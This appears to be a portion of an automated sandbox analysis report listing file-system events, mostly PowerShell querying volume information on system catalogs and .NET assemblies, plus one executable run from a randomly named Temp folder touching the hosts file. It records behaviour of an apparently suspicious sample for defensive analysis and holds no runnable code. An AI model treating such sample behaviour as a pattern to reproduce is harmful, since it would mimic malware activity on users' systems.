Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
